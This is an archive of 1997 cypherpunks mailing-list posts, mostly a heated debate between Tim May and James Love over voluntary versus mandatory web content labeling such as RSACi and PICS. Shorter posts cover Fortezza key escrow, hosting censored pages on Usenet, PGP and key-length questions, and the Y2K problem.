>more "information" about the content").

Ah, you admit that the "voluntary" labeling will likely become
not-so-voluntary.

>   What is your strategy to avoid RSACi type systems?  To persuade
>parents that there is no need to censor kids from graphic images of
>sexual acts?  Good luck.  Or to suggest something which addresses the
>obvious problems, and takes the steam out of the more ambitious labeling
>systems?  Or to hope that the status quo survives because it is too
>difficult to construct an alternative (the stategy that most
>antilabeling people seem to be relying upon)?

I have no "strategy" for dealing with the censorious tendencies of parents,
just as I have no "strategy" for solving problems they have with their
children watching too much television, or playing video games too much, or
hanging out with the wrong crowd.

These are problems for _them_ to solve, not for me, and not for the government.

(I can't believe I have to explain this.)

>_______________________________________________________
>James Love | Center for Study of Responsive Law
>P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
>http://www.cptech.org | love@cptech.org

It is really scary that someone with your shallow understanding of the
basic, core issues of liberty and constitutionality is apparently a
lobbyist in Washington.

But not surprising.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Mon, 28 Jul 1997 23:07:51 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DCB302.70F58811@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> It is this "crap" and "consequences" we are talking about.

     This "crap" and "consequences" are what is happening before your
eyes.  Law enforcement efforts, new legislation, complaints by church
groups, parents -- pressure on Yahoo and other searching sites, etc.,
being called names.


> There is no requirement that one's writings be labelled as "adult."
> Leastwise, I've read a lot of stuff in my life, and very rarely (if
> ever)
> have I seen much of it labelled as "adult" material.

      Why label it then?  I won't.  I think people should resist labels
on text.  99 percent of the concerns over web pages has to do with
graphics..... I would suggest dealing with the most obvious and
legitimate complains, but drawing a line where it made sense too. 

> >their back.  Those that didn't use the label could just put up with
> the
> >consequences, whatever they are.  I would expect (and hope) that the
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> Such as the multiple years in prison that each of the Thomases got?

     I don't know the Thomases, but did they get "multiple years in
prison" for mislabeling?  Or for something else?

 
> (Again, just what is "mislabelling"? If I feel all children should be
> exposed to sexual materials, or "Huckleberry Finn," whose standards am
> I
> supposed to use if not my own?)

       
     Why would you want to label a book?  There isn't a demand for this
in bookstores and libraries.  Why do this on the Web?


> This means that parents cannot count on any labelling system to
> protect
> their children from finding sexual material, atheistic material, drug
> advocacy material, bestiality advocacy material, and recruitments for
> homosexuality.
> 
> (For the sake of this argument I'm avoiding inclusion of actual images
> of
> things like bestiality and the like, as these may or may not run afoul
> of
> the "obscenity" laws. Not that I support obscenity laws. But all of
> the
> other things are mostly protected under the First Amendment, and
> labelling
> is not required.)

  
         I think labeling of text, in general, is a very bad idea.  I
can imagine some cases where authors might want to 
label some text with an adult tag.  But I don't really think this is
something that should be encouraged.  I don't think this is the hot
button issue that graphics (and films) are.


> As long as ratings are completely and full uncoerced, fine. It's the
> "crap"
> and "consequences" you speak of that worry me. If one of the pieces of
> crap
> is  a $100K civil fine for mislabelling, or one of the consequences is
> 5
> years in jail, then it ain't a voluntary system, is it?



   Well, one might see various forms of mandatory labeling.   And indeed
one might see more and more pressure for more and more complex and
objectional forms of labeling (labeling that seeks to provide more and
more "information" about the content").  

   What is your strategy to avoid RSACi type systems?  To persuade
parents that there is no need to censor kids from graphic images of
sexual acts?  Good luck.  Or to suggest something which addresses the
obvious problems, and takes the steam out of the more ambitious labeling
systems?  Or to hope that the status quo survives because it is too
difficult to construct an alternative (the stategy that most
antilabeling people seem to be relying upon)?  

 
          Jamie

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 28 Jul 1997 17:12:24 +0800
To: cypherpunks@toad.com
Subject: NSA leak magic
Message-ID: <199707280902.LAA21881@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym "Ian Goldberg" typed:

> Uh-huh.  Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA, the above statement, if true,
> would imply one of the following things:
> 
> 1. <snip>
> 2. <snip>
> 3. <snip>


4.  It takes 33 minutes to view the satellite images, wiretaps,
and TEMPEST recordings, and bribe, threaten, cajole or torture
the subject's friends and business partners, and run the 
"stupid passphrase/weak random seed" cracker.


I believe it.


Z

who is still trying to grok how the girl scouts figure in.
"You're a thought criminal!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Mon, 28 Jul 1997 23:26:40 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707272057.WAA03141@basement.replay.com>
Message-ID: <33DCB82F.737A3FE4@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> I'm not labeling my webpage, and no dickhead is going to tell me to.

    I'm not labeling www.cptech.org, but of course, why would I want to?
However, there are lots of people who want to signal the adult nature of
thier web site, of course, judging from the "don't go here if you are't
21" type messages they put on them.  A good, simple adult tagging system
would help these guys do what they apparently already want to do, which
is to signal that the sites are inappropriate for children.  +


    Jamie
-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 29 Jul 1997 00:05:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102808afffef9096b1@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970728114856.11644C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 26 Jul 1997, Tim May wrote:

> As long as ratings are completely and full uncoerced, fine. It's the "crap"
> and "consequences" you speak of that worry me. If one of the pieces of crap
> is  a $100K civil fine for mislabelling, or one of the consequences is 5
> years in jail, then it ain't a voluntary system, is it?
> 
> --Tim May

Of course it's voluntary, citizen unit Tim C. May #0845676FCXV3, it's as
voluntary as filing an 1040 form, and it's certainly as voluntary as
communist countries had voluntary work for teens who would voluntarily go
to work on farms durring their summer vacations.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 29 Jul 1997 04:11:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CPAC, XtatiX, and the Censor-State
Message-ID: <19970728200020.5383.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



In alt.cypherpunks, Censorship Suck <FBI@Sucks.NSA> writes:

 > That's pretty bad, when there's not even any sex.

Yes.  Most of these Web pages are not even political or sexual in
nature, but cute boys anywhere on the Net these days cause the
Fundies to have Grand Mal seizures.

 > My previous suggestion was to create "virtual" WWW sites
 > (when necessary, possibly as a stop-gap measure when there
 > is a censorship attack).

I read your earlier post, and find the notion of hosting Web
sites on Usenet intriguing.  Tim has always pointed out that
Usenet already exists as a persistent uncensorable repository of
virtually everything, and that applications (eg BlackNet) needing
such a facility should simply use the existing one.

 > By virtual, I mean by posting to USENET, probably encrypted,
 > with the decryption key following a couple days later.

 > It involves considerable development for either a newsreader
 > or preprocessor, but then, the work is implied. A
 > "gathering" design is necessary.

Conceptually, seamlessly extending the Web over Usenet is not
complicated.  Each document could be posted as a single PGP
conventionally encrypted article, with some reasonable convention
for encryption keys and message ids that would enable links to be
followed. Browsers could be modified to maintain a open
connection to an NNTP server, and to fetch and decrypt articles
specified by an nntp:<message-id> link in lieu of using http.

Suppose I post my favorite banned Web pages to
alt.anonymous.messages on a weekly basis, and distribute browser
plug-ins and patches to enable Usenet to host Web content.

I forsee the following glitches.

First, as anyone who has posted a large number of articles to
Usenet knows, many servers will only get a subset of them.

Second, policy for article expiration is site-specific, and can
be made to depend on a number of parameters.  Posting once a week
may be fine for some servers, and not for others.

Third, it is only practical to employ Usenet to host static Web
content.  This rules out Web-based chat boards, and other such
politically interesting content, as well as anything that is
cgi-bin based.

Fourth, Web content on Usenet will be in an easily identified
format and trivial to filter out at local sites.

 > Because you are exactly right: the ISPs can be attacked,
 > regardless of the fault-tolerant design of the Internet.

 > Some version of the above tool WILL route around "damage"
 > attempts.

 > Interesting, that this would in part require cryptography.

 > Would the government go so far as to try and outlaw crypto
 > posts to USENET? Good luck.

Odder things have happened.

 > Someone should make a complete list of all the
 > contacts/emails involved in contacting ISPs to get them to
 > censor. There may be something to learn. (sort of a traffic
 > analysis deal)

It's the "usual suspects." We know who they are, and they are
making no attempt to keep their activities secret.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Tue, 29 Jul 1997 01:34:37 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: How Does Fortezza Work?
Message-ID: <199707281314_MC2-1BC0-1B2A@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I am writing an article to help people understand the technical and
practical issues surrounding the key escrow debate.  Can someone tell me
how the Fortezza chip works.

I have a 1993 document which is incomplete.  Is the session key K still
encrypted with the unit key U?  And is that whole thing encrypted, with
the serial number, with the family key F?  I'd appreciate some more
current info.  You will be credited in my article.


Alan Tu


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Type Bits/KeyID    Date       User ID
pub  1024/E5D915E1 1997/04/27 Alan Tu <atu5713@compuserve.com>
                              Alan Tu <102534.2165@compuserve.com>

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 04:30:14 +0800
To: James Love <love@cptech.org>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <v03102804b002ab648392@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:17 PM -0700 7/28/97, James Love wrote:

>   Tim, on the one hand, you seem to be saying that you have
>constitutional rights, which would make the government's enforcement of
>labeling systems illegal.  On the other hand, you seem to express
>concern that the government will succeed at making such labeling
>mandatory.  I'm not sure which case you believe to be true, or if you
>are still unsure how courts will rule on this issue down the road.

No contradiction. I believe many constitutionally protected things are
nevertheless violated by various laws, with the courts taking many years or
even decades, or never, to overturn these laws.

I don't believe any requirement to label one's writings, or one's other
works, will pass constitutional muster. This doesn't mean I will stand by
while PICS/RSAci systems which are drifting rapidly in the direction of
"mandatorily voluntary" (!) are being debated, even if I think the Supreme
Court will eventually overturn the law(s).

Same reason many of us opposed the CDA. And the same lack of contradiction
that it was unconstitutional.

(Your argument, applied to the CDA, would apparently be: ".. on the one
hand, you seem to be saying that you have constitutional rights, which
would make the government's enforcement of the CDA illegal.  On the other
hand, you seem to express concern that the government will succeed at
enforcing the CDA.  I'm not sure which case you believe to be true, or if
you are still unsure how courts will rule on this issue down the road." It
is possible, and often wise, to oppose legislation even if one is convinced
it is unconstitutional and will eventually be struck down by the Supreme
Court. And, of course, many severely unconstitutional laws have yet to be
struck down by the Court.)


>    I think that the cyber porn debate would be more of less ended if
>there was an agreement of the standard meta tag for adult material.

>    But I don't see this happening.  The debate is so polarized, and
>people are trying to prove so many different things, that it seems
>unlikely that there would be much of a constituency for what I am
>proposing.

At last we agree on something. There is no universally agreed upon standard.

I tried to use the Huck Finn example, because it's been a recurring and
easily understandable example. I suppose I'll have to use the "fisting and
pissing" example you yourself brought up.

Believe me, there are folks who _want_ children to see their writings and
whatnot on this topic.

Any non-mandatory labeling system will, perforce, run smack into this issue.


>    For one thing, I think there is a big difference between a simple
>rating=adult system, used on tiny number of porn sites, and the more
>ambitious RSACi or other PICS systems.  It seems to me that you think
>they are basically equivalent (trying not to put words in your mouth).

No, I have not attempted to compare the two. What I have consistently
argued is that for the ratings systems to successfully (though this is
arguable, too) shield little Suzie and Johnny from "fisting and pissing"
articles and sites, the ratings will be made mandatory. And external
standards will be imposed.

(Otherwise it's up to the personal opinion of those doing the rating, or
not. If Joe Pervert honestly believes his "Fisting and Pissing Playhouse"
_should_ be visited by nice little blonde girls, and he labels his site as
"Suitable for all nice little girls," you can see the problem.)

Note again that I am not arguing for such ratings. Far from it. Just the
opposite. I am saying it is utterly disingenuous for folks like you and
other supporters of PICS/RSAci to claim that ratings can be completely
voluntary because there will be unaninous, universal, and unambiguous
agreement on what constitutes material suitable for children.


>    Could be that this whole debate is much ado about nothing, since
>nobody wants to to use the RSACi system, and maybe the incompetence of
>those who want to be rating bureaus will delay action on this for
>years.

Expect legislative action this year or next. Even if overturned in a year
or two, it's good for reelection prospects.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Tue, 29 Jul 1997 02:29:42 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: How Does Fortezza Work?
Message-ID: <199707281412_MC2-1BC1-B1A3@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



Please send replies to atu5713@compuserve.com

-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I am writing an article to help people understand the technical and
practical issues surrounding the key escrow debate.  Can someone tell me
how the Fortezza chip works.

I have a 1993 document which is incomplete.  Is the session key K still
encrypted with the unit key U?  And is that whole thing encrypted, with
the serial number, with the family key F?  I'd appreciate some more
current info.  You will be credited in my article.


Alan Tu


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                              Alan Tu <102534.2165@compuserve.com>

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Tue, 29 Jul 1997 02:28:30 +0800
To: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: New Crypto Application
In-Reply-To: <Pine.OSF.3.96.970728203218.23582A-100000@oberon>
Message-ID: <33DCE1A9.2C94@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



? the platypus {aka David Formosa} wrote:

> On Sun, 27 Jul 1997, Guillotine wrote:
> 
> > I'm creating a new _text_ cryptography program.
> 
> If you are not useing a well know and strong cyper method I suggest you
> post details of your meathod to sci.crypt where thay will (most likely)
> pick holes in it.

	From the sci.crypt FAQ...

http://www.cis.ohio-state.edu/hypertext/faq/bngusenet/sci/crypt/top.html

2.3. How do I present a new encryption scheme in sci.crypt?

  ``I just came up with this neat method of encryption. Here's some
  ciphertext: FHDSIJOYW^&%$*#@OGBUJHKFSYUIRE. Is it strong?'' Without a
  doubt questions like this are the most annoying traffic on sci.crypt.

  If you have come up with an encryption scheme, providing some
  ciphertext from it is not adequate. Nobody has ever been impressed by
  random gibberish. Any new algorithm should be secure even if the
  opponent knows the full algorithm (including how any message key is
  distributed) and only the private key is kept secret. There are some
  systematic and unsystematic ways to take reasonably long ciphertexts
  and decrypt them even without prior knowledge of the algorithm, but
  this is a time-consuming and possibly fruitless exercise which most
  sci.crypt readers won't bother with.

  So what do you do if you have a new encryption scheme? First of all,
  find out if it's really new. Look through this FAQ for references and
  related methods. Familiarize yourself with the literature and the
  introductory textbooks.

  When you can appreciate how your cryptosystem fits into the world at
  large, try to break it yourself! You shouldn't waste the time of tens
  of thousands of readers asking a question which you could have easily
  answered on your own.

  If you really think your system is secure, and you want to get some
  reassurance from experts, you might try posting full details of your
  system, including working code and a solid theoretical explanation, to
  sci.crypt. (Keep in mind that the export of cryptography is regulated
  in some areas.)

  If you're lucky an expert might take some interest in what you posted.
  You can encourage this by offering cash rewards---for instance, noted
  cryptographer Ralph Merkle is offering $1000 to anyone who can break
  Snefru-4---but there are no guarantees. If you don't have enough
  experience, then most likely any experts who look at your system will
  be able to find a flaw. If this happens, it's your responsibility to
  consider the flaw and learn from it, rather than just add one more
  layer of complication and come back for another round.

  A different way to get your cryptosystem reviewed is to have the NSA
  look at it. A full discussion of this procedure is outside the scope
  of this FAQ.

  Among professionals, a common rule of thumb is that if you want to
  design a cryptosystem, you have to have experience as a cryptanalyst.

-- 
dkp at iname dot com * Exit the System.
4B63 E55D 1C92 68E3 8700 0EBF 5CDD 5538
--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Tue, 29 Jul 1997 03:23:13 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DCF05E.62269C50@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> After reading several of James Love's posts, I think we are either
> just
> talking at cross purposes, or that he hasn't thought carefully about
> the
> constitutional issues. 

   Tim, on the one hand, you seem to be saying that you have
constitutional rights, which would make the government's enforcement of
labeling systems illegal.  On the other hand, you seem to express
concern that the government will succeed at making such labeling
mandatory.  I'm not sure which case you believe to be true, or if you
are still unsure how courts will rule on this issue down the road. 


> We have already seen this in the SurfWatch and KiddySafe filter
> debates,
> where the inclusion of certain words is enough to get a site blocked.
> (Understand that I am not arguing against KiddySafe's "rights" to do
> this,
> only noting that words are clearly as important to some folks as
> images.)


     The AI programs like Surfwatch have to rely upon text, because they
aren't smart enough to read the images.  

    But more generally, the whole censorware software industry is
feeding off the inefficiency of present adult labeling systems.  You
actually need a censorware program to filter stuff that is already
voluntarily labeled by the porn sites, because the *current* voluntary
system doesn't work very well (it is not standardized enough).  


   Regarding Huck Finn or any number of other disputes where various
groups seek to force adult labels (or the more complex RSACi or Safesurf
labels) on a wider array of information products, it would seem that
these problems are going to simmer along, as they have in the past.  But
the real problem comes when the society reaches a critical mass to do
something, particularly at the national or international level, when the
Internet is concerned.  I doubt that Huck Finn is going to be the
defining issue of this debate.  


> Ah, you admit that the "voluntary" labeling will likely become
> not-so-voluntary.


         At various points, things are more or less voluntary.  I run
about 12 Internet discussion lists.  Most lists are open and
unmoderated.  I have never removed someone from one of the lists, or
established "rules" for list behavior.  At one point earlier this year,
a member of one list was acting pretty strange, and was very hostile,
trying to drive everyone off the list who he didn't approve of.  Off
list harassment, online insults, very repetitive posts, etc.  He kept
pointing out that there were no rules that would require him to act more
civil, and that he was free to do whatever he wanted on the list.  This
was true, at the time.  But after a long period of trying to deal with
this, it was becoming less true.  I was getting fed up, and ready to
make some damn rules, and boot him off the list if he didn't follow
them.  Turned out that he backed off before it came to this.  My point
is that if people who use the Internet make the occasional effort 
to be civil, to respect others, etc.... then it isn't necessary to make
very many rules.  But when you have endless commercial spamming, or make
no effort to make it easy to filter porn from k-12 classrooms, then you
may end up with more rules that you might want.  In this sense, rules
will be result of a failure to solve problems informally.

      Voluntary is also something that means different things to
different people.  I try not to litter, because I like to live in a
clean environment.   I reframe from all sorts of behavior in public
places, not only because of legal sanctions, but also to be considerate
to others who are using the same space.

    I think that the cyber porn debate would be more of less ended if
there was an agreement of the standard meta tag for adult material.

    But I don't see this happening.  The debate is so polarized, and
people are trying to prove so many different things, that it seems
unlikely that there would be much of a constituency for what I am
proposing.

    For one thing, I think there is a big difference between a simple
rating=adult system, used on tiny number of porn sites, and the more
ambitious RSACi or other PICS systems.  It seems to me that you think
they are basically equivalent (trying not to put words in your mouth).

    Could be that this whole debate is much ado about nothing, since
nobody wants to to use the RSACi system, and maybe the incompetence of
those who want to be rating bureaus will delay action on this for
years.  

    Jamie
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Tue, 29 Jul 1997 03:45:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCF05E.62269C50@cptech.org>
Message-ID: <Pine.BSI.3.93.970728152445.22996B-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 28 Jul 1997, James Love wrote:

>    Tim, on the one hand, you seem to be saying that you have
> constitutional rights, which would make the government's enforcement of
> labeling systems illegal.  On the other hand, you seem to express
> concern that the government will succeed at making such labeling
> mandatory.  I'm not sure which case you believe to be true, or if you

The assumption that this is an "exclusive or" is incredibly naive.

-BMM

-- 
Brian Minder; <stonedog@net-gate.com>
"I've continually said that the biggest problem with secure authentication is
that secure authentication is not possible." --Robert Costner; EFGa.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Avery <cavery@ccnet.com>
Date: Tue, 29 Jul 1997 07:03:35 +0800
To: "'cypherpunks@toad.com>
Subject: Queries from a Cyper-newbie?
Message-ID: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



Anybody willing to offer a bit of help to a cypher-newbie?  I'm trying to sort out a few of the basics:

(and if not answers, just a few pointers on where to go for info? ) Thnks.

1. PGP 5.0 -- good software? If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 different than 2.6.3i ?  Which is better?

2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i (and vice versa?)  Using RSA keys? 

3. I understand certain encryption s/w cannot be legally exported, I am aware that such s/w is nevertheless being used (and built) abroad.  My queries:  Is purely domestic use being threatened by the pending legislation?  Is it already illegal to send an encrypted msg out of the US? If so, is it illegal to receive an encrypted msg from outside the US?

4. How strong is strong?  My MS Explorer has the 128 bit encryption scheme to secure domestic financial transactions (such as credit cards). How "un-encryptable" is this? I read some recent postings here re difficulty of breaking 128 bit keys -- but this had reference to stronger methods of encryption than MS Explorer uses, right? So 128 bits is hard to break (umptyump years, terrawatts, etc.)? Then why does my PGP 5.0 software offer keys that are 768, 1024, etc. up to 4096 bits in length? Are these numbers on the same scale? 

Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS there some layman-understandable difference between these? 

5. Is international data traffic somehow monitored (or monitorable) to detect encrypted traffic?

Thanks for any help. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Jul 1997 04:41:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <v0311072bb002a4f0dfea@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:52 pm -0400 on 7/28/97, Tim May wrote:


> After reading several of James Love's posts, I think we are either just
> talking at cross purposes, or that he hasn't thought carefully about the
> constitutional issues. Maybe both. In any case, this'll probably be my last
> response to his points.

Jamie Love is one of those nasty Naderites who believes that what the
government shouldn't control, the plaintiff bar should.

I killfiled him on com-priv a long time ago, and, when Tim started rastlin'
ol' Ralph-once-removed here on cypherpunks, I killfiled Love here, too.

Oddly enough, Love has a mailing list with lots of fun government-baiting
goodies in it, so he's not all that bad. Chalk it up to broken clock
disease, I guess...

Actually, now that I think about it, his newsletter talks all about how to
trash "public" utility commission meetings, which of course, wouldn't even
exist if idiots like him and Army-Boot Ralph hadn't created P-U-C's to
F-U-C us all, monopoly-wise, in the first place.

Jamie and Ralph-the-Plaintiff-Bar-Licker are basically Mutt to the State's
Jeff. Same as it ever was...

Thank God for Eudora Pro.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 29 Jul 1997 04:43:26 +0800
To: Tim May <love@cptech.org>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <3.0.2.32.19970728163613.0069dca8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>      Why label it then?  I won't.  I think people should resist labels
>>on text.  99 percent of the concerns over web pages has to do with
>>graphics..... I would suggest dealing with the most obvious and
>>legitimate complains, but drawing a line where it made sense too.
>
>I wasn't saying I planned to label my writings. I was making the point that
>if "crap" and "consequences" (such as the law enforcement actions and
>legislation you yourself mention above) befall those who mislabel their
>sites, then surely this will not be confined to images alone. The "fisting
>and pissing" stuff you cited in another message will be equally unsuitable
>for children--many will claim--even if it is in the form of stories,
>attempts to recruit, etc.

Censorware naturally targets words rather than pictures because it is easier 
to write software that indexes and classifies words than it is to write image 
recognition software.  Language is actually blocked *more* than pictures 
since the programs themselves contain software to block forbidden words even 
on sites that have not been put on the censorware block list.

Jake Baker spent 30 days in stir for a text-only post.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM90Ct4VO4r4sgSPhAQGslwP+IzKsUEikXAnzfFAm6Y0Xw2Zvf7ogexXg
Ki1xQ0zUj28kZVIX0i/HDdr0dJVLoi5dwxXvLZPZ1jokQYVnUNPrTyW7jAEpFPS8
G4Bfa+wzMhgXpcbEBtlzHzN50owHJ/ZHb55Xczy0b7kDF8HbSfnH593klaWEALQl
OVDZ49hwJNo=
=1iQs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 28 Jul 1997 23:51:36 +0800
To: cypherpunks@toad.com
Subject: Cryptography Question (I hope it's not off-topic on this list)
Message-ID: <199707281537.RAA09388@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  I was thinking about *chaining* remailers and wondered if encryption
of a certain strength could be *chained* in order to make it as strong
as stronger encryption.
  e.g. - If only 56-bit encryption becomes legal, is there a method
of *chaining* several passes of 48-bit encryption which would make it
just as hard to break as 96/192/384-bit (etc.) encryption?

  If this is indeed impossible, then perhaps the government might pass
a law that makes it illegal to encrypt an encrypted file, but experience
seems to suggest that any law passed always leaves a loophole or back
door for inventive people to circumvent it.

  CyberDoc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 29 Jul 1997 09:07:33 +0800
To: cypherpunks@cyberpass.net
Subject: y2k problem *serious*
Message-ID: <199707290054.RAA21755@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



some people have talked about the y2k problem here, the 
"year 2000 problem". as programmers know, is the
name given to the glitches that are caused by software
malfunctioning because it only used 2 characters for the
date field. I have mentioned that I think government
agencies are going to be particularly hard-hit by this 
situation. I envisioned delays in payments etc. of something like
a few weeks or so.

however some recent new data and analysis by someone
named Gary North causes me to rethink my position.
it's somewhat alarmist, but he's got some excellent evidence.
he believes the year 2000 problem is vastly more serious
than anyone has realized. he thinks it may even lead to
bank panics and instabilities in the entire worldwide
economic system.

he quotes Yourdon, a very respectable software professional, who
talks about the domino effect in software such that even 
if parts of it are fixed, the erroneous sections can cause
the system as a whole to fail.

I suspect that we will be seeing some major, major news
events related to y2k over the next year, all the way up
to 2000.

more info on this perspective can be found at 
  www.garynorth.com

this will be an incredibly important issue for virtually all
programmers in the information field. (some cryptoanarchists
here might rejoice at the potential here for mass social 
disruptions. may you live in interesting times.)



   
   The Yourdon Report
   Vol. 1, No. 4, June 1997. &copy; Copyright 1997 by Cutter Information
   Corp.
   
The Personal Consequences of Year 2000

   Dear Colleague,
   
   
   
   Where will you be on New Year's Eve, 1999? If you're involved in the
   computer field in any way, there's a high likelihood that you'll be
   frantically working on the last-minute details of a year-2000 project.
   Yes, I know, not everything is written in COBOL and not every hotshot
   Java programmer is interested in the problem. But if you're an
   application programmer who normally develops business applications in
   Visual Basic, PowerBuilder, Smalltalk, or COBOL, there's a good chance
   that your organization will give you a temporary assignment to help
   out with converting mission-critical systems that are too important to
   fail. If you're a new-age Java programmer in a Silicon Valley startup
   company, maybe you'll be able to ignore the whole thing; but for many
   of the people who write software, 1998 and 1999 will be the years of
   year-2000 death march projects.
   
   I assume that anyone who reads this newsletter is familiar with the
   basics of the year-2000 problem; I won't bore you with a repetition of
